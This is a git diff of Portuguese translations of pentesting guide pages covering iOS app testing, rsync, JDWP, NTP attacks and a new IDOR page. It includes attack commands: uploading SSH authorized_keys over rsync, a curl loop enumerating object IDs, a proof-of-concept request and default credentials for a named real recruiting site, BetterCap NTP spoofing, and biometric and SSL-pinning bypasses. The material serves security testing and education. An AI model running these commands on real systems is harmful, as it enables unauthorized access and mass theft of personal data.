Informações sensíveis podem ser buscadas usando ferramentas de linha de comando ou aplicativos como [iMazing](https://imazing.com). Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup.
```xml
@ -669,7 +669,7 @@ Para lidar com backups criptografados, scripts em Python disponíveis no [reposi
### Modificando o Comportamento do App
Um exemplo de alteração do comportamento do app através de modificações no backup é demonstrado no [aplicativo de carteira bitcoin Bither](https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado em `net.bither.plist` sob a chave **pin_code**. Remover esta chave do plist e restaurar o backup elimina a exigência do PIN, proporcionando acesso irrestrito.
Um exemplo de alteração do comportamento do app através de modificações no backup é demonstrado no [aplicativo de carteira bitcoin Bither](https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado em `net.bither.plist` sob a chave **pin_code**. Remover essa chave do plist e restaurar o backup elimina a exigência do PIN, proporcionando acesso irrestrito.
## Resumo sobre Testes de Memória para Dados Sensíveis
@ -677,7 +677,7 @@ Ao lidar com informações sensíveis armazenadas na memória de um aplicativo,
## **Recuperando e Analisando um Dump de Memória**
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para dispositivos com e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
```bash
@ -700,19 +700,19 @@ $ r2 <name_of_your_dump_file>
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## Criptografia Quebrada
## Quebra de Criptografia
### Processos de Gerenciamento de Chaves Ruins
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam as informações confidenciais.
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma reversão pode permitir que atacantes extraiam as informações confidenciais.
### Uso de Algoritmos Inseguros e/ou Obsoletos
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **brute-force** com sal.
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **força bruta** com sal.
### Verificação
As principais verificações a serem realizadas são encontrar se você pode encontrar **senhas**/segredos **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/secrets **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
```swift
@ -722,7 +722,7 @@ Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, ace
## Autenticação Local
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso em um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso a um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) da Apple e o [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem com dados secretos de forma segura, respectivamente. O Secure Enclave protege a ID de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.
@ -732,7 +732,7 @@ Para integrar o Touch ID/Face ID, os desenvolvedores têm duas opções de API:
- **`Security.framework`** para acesso a serviços de keychain em nível mais baixo, protegendo dados secretos com autenticação biométrica. Vários [wrappers de código aberto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) tornam o acesso ao keychain mais simples.
> [!CAUTION]
> No entanto, tanto `LocalAuthentication.framework` quanto `Security.framework` apresentam vulnerabilidades, pois retornam principalmente valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> No entanto, tanto o `LocalAuthentication.framework` quanto o `Security.framework` apresentam vulnerabilidades, pois retornam principalmente valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Implementando Autenticação Local
@ -747,7 +747,7 @@ Uma autenticação bem-sucedida é indicada por um valor de retorno booleano de
Implementar **autenticação local** em aplicativos iOS envolve o uso de **APIs de keychain** para armazenar dados secretos, como tokens de autenticação, de forma segura. Esse processo garante que os dados só possam ser acessados pelo usuário, usando seu código de acesso do dispositivo ou autenticação biométrica como Touch ID.
O keychain oferece a capacidade de definir itens com o atributo `SecAccessControl`, que restringe o acesso ao item até que o usuário se autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aumentar a segurança.
O keychain oferece a capacidade de definir itens com o atributo `SecAccessControl`, que restringe o acesso ao item até que o usuário autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aumentar a segurança.
Abaixo estão exemplos de código em Swift e Objective-C demonstrando como salvar e recuperar uma string do keychain, aproveitando esses recursos de segurança. Os exemplos mostram especificamente como configurar o controle de acesso para exigir autenticação do Touch ID e garantir que os dados sejam acessíveis apenas no dispositivo em que foram configurados, sob a condição de que um código de acesso do dispositivo esteja configurado.
@ -880,7 +880,7 @@ O uso de frameworks em um aplicativo também pode ser detectado analisando a lis
```bash
$ otool -L <AppName>.app/<AppName>
```
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo):
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo dos panos):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -891,7 +891,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido.
#### **Objection**
Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre produza um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Através do **Objection Biometrics Bypass**, localizado nesta [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Para ativar esse bypass, o seguinte comando é empregado:
```bash
@ -1022,7 +1022,7 @@ Para verificar esse problema usando Burp, após confiar na CA do Burp no iPhone,
### Pinagem de Certificado
Se um aplicativo estiver usando corretamente a Pinagem SSL, então o aplicativo só funcionará se o certificado for o esperado. Ao testar um aplicativo, **isso pode ser um problema, pois o Burp servirá seu próprio certificado.**\
Se um aplicativo estiver usando corretamente a Pinagem SSL, então o aplicativo só funcionará se o certificado for o que se espera. Ao testar um aplicativo, **isso pode ser um problema, pois o Burp servirá seu próprio certificado.**\
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Você também pode usar **objection's** `ios sslpinning disable`
@ -1042,7 +1042,7 @@ Você também pode usar **objection's** `ios sslpinning disable`
Os desenvolvedores podem **corrigir todas as instalações de seu aplicativo instantaneamente** sem precisar reenviar o aplicativo para a App Store e esperar até que seja aprovado.\
Para esse propósito, geralmente é usado [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mas há outras opções também, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Esse é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método está sendo usado para atualizações automáticas (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
**Esse é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método está sendo usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
### Terceiros
@ -1050,7 +1050,7 @@ Um desafio significativo com **SDKs de terceiros** é a **falta de controle gran
Os serviços fornecidos por SDKs de terceiros podem incluir rastreamento de comportamento do usuário, exibição de anúncios ou melhorias na experiência do usuário. No entanto, isso introduz um risco, pois os desenvolvedores podem não estar totalmente cientes do código executado por essas bibliotecas, levando a potenciais riscos de privacidade e segurança. É crucial limitar as informações compartilhadas com serviços de terceiros ao que é necessário e garantir que nenhum dado sensível seja exposto.
A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca independente ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser **anonimizados** para evitar a divulgação de Informações Pessoais Identificáveis (PII).
A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca autônoma ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser **anonimizados** para evitar a divulgação de Informações Pessoais Identificáveis (PII).
Para identificar as bibliotecas que um aplicativo usa, o comando **`otool`** pode ser empregado. Esta ferramenta deve ser executada contra o aplicativo e cada biblioteca compartilhada que ele usa para descobrir bibliotecas adicionais.
```bash
@ -1074,7 +1074,7 @@ otool -L <application_path>
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)

View File

@ -6,7 +6,7 @@
De [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** é uma utilidade para transferir e sincronizar [arquivos](https://en.wikipedia.org/wiki/Computer_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores](https://en.wikipedia.org/wiki/Computer) em uma [rede](https://en.wikipedia.org/wiki/Computer_network), comparando os [tempos de modificação](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) É comumente encontrado em sistemas [operacionais](https://en.wikipedia.org/wiki/Operating_system) [Unix-like](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta_encoding) e é usado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para compressão adicional de [dados](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança.
> **rsync** é uma utilidade para transferir e sincronizar [arquivos](https://en.wikipedia.org/wiki/Computer_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores](https://en.wikipedia.org/wiki/Computer) em uma [rede](https://en.wikipedia.org/wiki/Computer_network), comparando os [tempos de modificação](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) É comumente encontrado em [sistemas operacionais](https://en.wikipedia.org/wiki/Operating_system) [Unix-like](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta_encoding) e é usado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para compressão adicional de [dados](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança.
**Porta padrão:** 873
```
@ -68,7 +68,7 @@ Com **credenciais**, listar e baixar de uma pasta compartilhada pode ser feito d
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Para **carregar conteúdo**, como um arquivo _**authorized_keys**_ para acesso, use:
Para **fazer upload de conteúdo**, como um arquivo _**authorized_keys**_ para acesso, use:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```

View File

@ -2,9 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
## Exploração
A exploração do JDWP depende da **falta de autenticação e criptografia do protocolo**. Geralmente é encontrado na **porta 8000**, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta de destino. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Este handshake atua como um método de fingerprinting para identificar serviços JDWP na rede.
A exploração do JDWP depende da **falta de autenticação e criptografia do protocolo**. Geralmente, é encontrado na **porta 8000**, mas outras portas são possíveis. A conexão inicial é feita enviando um "JDWP-Handshake" para a porta de destino. Se um serviço JDWP estiver ativo, ele responde com a mesma string, confirmando sua presença. Este handshake atua como um método de fingerprinting para identificar serviços JDWP na rede.
Em termos de identificação de processos, procurar pela string "jdwk" em processos Java pode indicar uma sessão JDWP ativa.
@ -23,7 +24,7 @@ Eu descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna a explora
1. **Visão Geral do JDWP**:
- É um protocolo binário de rede baseado em pacotes, principalmente síncrono.
- Falta autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.
- Carece de autenticação e criptografia, tornando-o vulnerável quando exposto a redes hostis.
2. **Handshake do JDWP**:
@ -56,7 +57,7 @@ Eu descobri que o uso de `--break-on 'java.lang.String.indexOf'` torna a explora
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -80,12 +80,12 @@ Preste atenção especial às linhas ``restrict``, configurações ``kod`` (Kiss
| Ano | CVE | Componente | Impacto |
|-----|-----|------------|---------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch em **4.2.8p16** 🡒 atualize ou faça back-port das correções. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementação em Rust) | Cookie **NTS** malformado causa **DoS** remoto antes da v0.3.3 afeta a porta 123 mesmo quando NTS **desabilitado**. citeturn4view0|
| 2024 | atualizações de distro | **chrony 4.4 / 4.5** várias correções de segurança e NTS-KE (por exemplo, SUSE-RU-2024:2022) citeturn2search2|
| 2024 | Registro DDoS | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos utilizados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Múltiplas gravações fora dos limites acessíveis via respostas **ntpq**. Patch em **4.2.8p16** 🡒 atualizar ou retroportar correções. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementação em Rust) | Cookie **NTS** malformado causa **DoS** remoto antes da v0.3.3 afeta a porta 123 mesmo quando NTS **desabilitado**. |
| 2024 | atualizações de distro | **chrony 4.4 / 4.5** várias correções de segurança e NTS-KE (por exemplo, SUSE-RU-2024:2022) |
| 2024 | Registro DDoS | Cloudflare relata um ataque de **reflexão UDP de 5.6 Tbps** (NTP entre os protocolos utilizados). Mantenha *monitor* e *monlist* desabilitados em hosts expostos à Internet. |
> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o artigo da Meinberg) e podem ser armados para phishing do lado do cliente de sysadmins. citeturn1search4
> **Kits de exploração**: Payloads de prova de conceito para a série de gravações OOB do ntpq de 2023 estão no GitHub (veja o relario da Meinberg) e podem ser armados para phishing do lado do cliente de administradores de sistema.
---
## Ataques Avançados
@ -98,15 +98,15 @@ A consulta legada Mode-7 ``monlist`` retorna até **600 endereços de host** e a
- Limite a taxa de UDP/123 na borda ou habilite *sessions-required* em dispositivos DDoS.
- Habilite filtragem de egress *BCP 38* para bloquear spoofing de origem.
Veja o artigo do centro de aprendizado da Cloudflare para uma explicação passo a passo. citeturn5search1
Veja o artigo do centro de aprendizado da Cloudflare para um detalhamento passo a passo.
### 2. Ataques de Deslocamento de Tempo / Atraso (pesquisa Khronos / Chronos)
Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O rascunho **Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``). citeturn9search1
Mesmo com autenticação, um atacante na rota pode silenciosamente **deslocar o relógio do cliente** ao descartar/atrasar pacotes. O **rascunho Khronos (anteriormente Chronos)** da IETF propõe consultar um conjunto diversificado de servidores em segundo plano e verificar a sanidade do resultado para detectar um deslocamento > 𝚡 ms. O chrony moderno (4.4+) já implementa um filtro de sanidade semelhante (``maxdistance`` / ``maxjitter``).
### 3. Abuso de NTS e exposição 4460/tcp
### 3. Abuso de NTS & exposição 4460/tcp
NTS move a criptografia pesada para um **canal TLS 1.3 separado na porta 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem:
O NTS move a criptografia pesada para um **canal TLS 1.3 separado na porta 4460/tcp** (``ntske/1``). Implementações ruins (veja CVE-2023-33192) travam ao analisar cookies ou permitem cifras fracas. Os pentesters devem:
```bash
# TLS reconnaissance
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
Procure por certificados autoassinados ou expirados e suítes de cifra fracas (não-AEAD). Referência: RFC 8915 §4. citeturn11search0
Procure por certificados autoassinados ou expirados e suítes de cifras fracas (não-AEAD). Referência: RFC 8915 §4.
---
## Fortalecimento / Melhor Prática Atual (BCP-233 / RFC 8633)
*Os operadores DEVEM:*
*Operadores DEVEM:*
1. Usar **≥ 4** fontes de tempo independentes e diversas (pools públicos, GPS, pontes PTP) para evitar contaminação de fonte única.
2. Habilitar restrições ``kod`` e ``limited``/``nomodify`` para que clientes abusivos recebam pacotes de limite de taxa **Kiss-o'-Death** em vez de respostas completas.
3. Monitorar logs do daemon para eventos de **panic** ou ajustes de passo > 1000 s. (Assinaturas de ataque por RFC 8633 §5.3.)
3. Monitorar logs do daemon para eventos de **panic** ou ajustes de passo > 1000 s. (Assinaturas de ataque conforme RFC 8633 §5.3.)
4. Considerar **leap-smear** para evitar interrupções de segundo bissexto, mas garantir que *todos* os clientes a montante usem a mesma janela de smear.
5. Manter polling ≤24 h para que as bandeiras de segundo bissexto não sejam perdidas.
Consulte a RFC 8633 para uma lista de verificação abrangente. citeturn8search0turn8search1
Veja a RFC 8633 para uma lista de verificação abrangente.
---
## Shodan / Censys Dorks
@ -141,7 +141,7 @@ port:4460 "ntske" # NTS-KE
| Ferramenta | Propósito | Exemplo |
|------------|-----------|---------|
| ``ntpwn`` | Wrapper de script-kiddie para spray de consultas monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
| ``ntpwn`` | Wrapper para script-kiddie para spray de consultas monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
| **zgrab2 ntp** | Escaneamento em massa / saída JSON incluindo flag monlist | Veja o comando acima |
| ``chronyd`` com ``allow`` | Executar servidor NTP malicioso em laboratório de pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
| ``BetterCap`` | Injetar pacotes NTP para MITM de desvio de tempo no Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
---
## Referências
- RFC 8915 *Segurança de Tempo de Rede para o Protocolo de Tempo de Rede* (porta 4460) citeturn11search0
- RFC 8633 *Protocolo de Tempo de Rede BCP* citeturn8search0
- Relatório de DDoS da Cloudflare Q4 2024 (5,6 Tbps) citeturn5search0
- Artigo da Cloudflare sobre *Ataque de Amplificação NTP* citeturn5search1
- NTP 4.2.8p15 série CVE 2023-04 citeturn1search4
- Entradas NVD **CVE-2023-2655155**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
- Atualização de segurança do chrony da SUSE 2024 (chrony 4.5) citeturn2search2
- Rascunho Khronos/Chronos (mitigação de deslocamento de tempo) citeturn9search1
- Manual/examples do chronyc para monitoramento remoto citeturn3search0turn10search1
- Documentação do módulo ntp do zgrab2 citeturn7search0
- RFC 8915 *Segurança de Tempo de Rede para o Protocolo de Tempo de Rede* (porta 4460)
- RFC 8633 *Protocolo de Tempo de Rede BCP*
- Relatório DDoS da Cloudflare Q4 2024 (5,6 Tbps)
- Artigo da Cloudflare sobre *Ataque de Amplificação NTP*
- NTP 4.2.8p15 série CVE 2023-04
- Entradas NVD **CVE-2023-2655155**, **CVE-2023-33192**
- Atualização de segurança do chrony da SUSE 2024 (chrony 4.5)
- Rascunho Khronos/Chronos (mitigação de deslocamento de tempo)
- Manual/examples do chronyc para monitoramento remoto
- Documentação do módulo ntp do zgrab2
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,85 @@
{{#include ../banners/hacktricks-training.md}}
**Verifique o post: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.
---
## 1. Identificando Potenciais IDORs
1. Procure por **parâmetros que referenciam um objeto**:
* Caminho: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Consulta: `?id=42`, `?invoice=2024-00001`
* Corpo / JSON: `{"user_id": 321, "order_id": 987}`
* Cabeçalhos / Cookies: `X-Client-ID: 4711`
2. Prefira endpoints que **leem ou atualizam** dados (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Observe quando os identificadores são **sequenciais ou previsíveis** se seu ID é `64185742`, então `64185741` provavelmente existe.
4. Explore fluxos ocultos ou alternativos (por exemplo, *"membros da equipe Paradox"* link em páginas de login) que podem expor APIs extras.
5. Use uma **sessão autenticada de baixo privilégio** e mude apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização é geralmente um sinal de IDOR.
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Enumeração automatizada (Burp Intruder / loop curl)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
## 2. Estudo de Caso do Mundo Real Plataforma de Chatbot McHire (2025)
Durante uma avaliação do portal de recrutamento **McHire** alimentado por Paradox.ai, o seguinte IDOR foi descoberto:
* Endpoint: `PUT /api/lead/cem-xhr`
* Autorização: cookie de sessão do usuário para **qualquer** conta de teste de restaurante
* Parâmetro do corpo: `{"lead_id": N}` identificador numérico **sequencial** de 8 dígitos
Ao diminuir `lead_id`, o testador recuperou PII **completa** de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** de consumidor que permitia o sequestro de sessão. A enumeração do intervalo `1 64,185,742` expôs aproximadamente **64 milhões** de registros.
Requisição de Prova de Conceito:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **credenciais de administrador padrão** (`123456:123456`) que concediam acesso à conta de teste, a vulnerabilidade resultou em uma violação de dados crítica em toda a empresa.
---
## 3. Impacto do IDOR / BOLA
* Escalação horizontal ler/atualizar/excluir dados de **outros usuários**.
* Escalação vertical usuário com baixo privilégio ganha funcionalidade exclusiva de administrador.
* Violação de dados em massa se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
* Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.
---
## 4. Mitigações & Melhores Práticas
1. **Impor autorização em nível de objeto** em cada solicitação (`user_id == session.user`).
2. Preferir **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
3. Realizar autorização **no lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI.
4. Implementar verificações de **RBAC / ABAC** em um middleware central.
5. Adicionar **limitação de taxa e registro** para detectar enumeração de IDs.
6. Testar a segurança de cada novo endpoint (unitário, integração e DAST).
---
## 5. Ferramentas
* **Extensões do BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Projetos do Github**: `bwapp-idor-scanner`, `Blindy` (caça IDOR em massa).
{{#include ../banners/hacktricks-training.md}}
## Referências
* [Plataforma de Chatbot McHire: Credenciais Padrão e IDOR Expondo PII de 64M de Candidatos](https://ian.sh/mcdonalds)
* [OWASP Top 10 Controle de Acesso Quebrado](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [Como Encontrar Mais IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
{{#include /banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Extensões do PostgreSQL
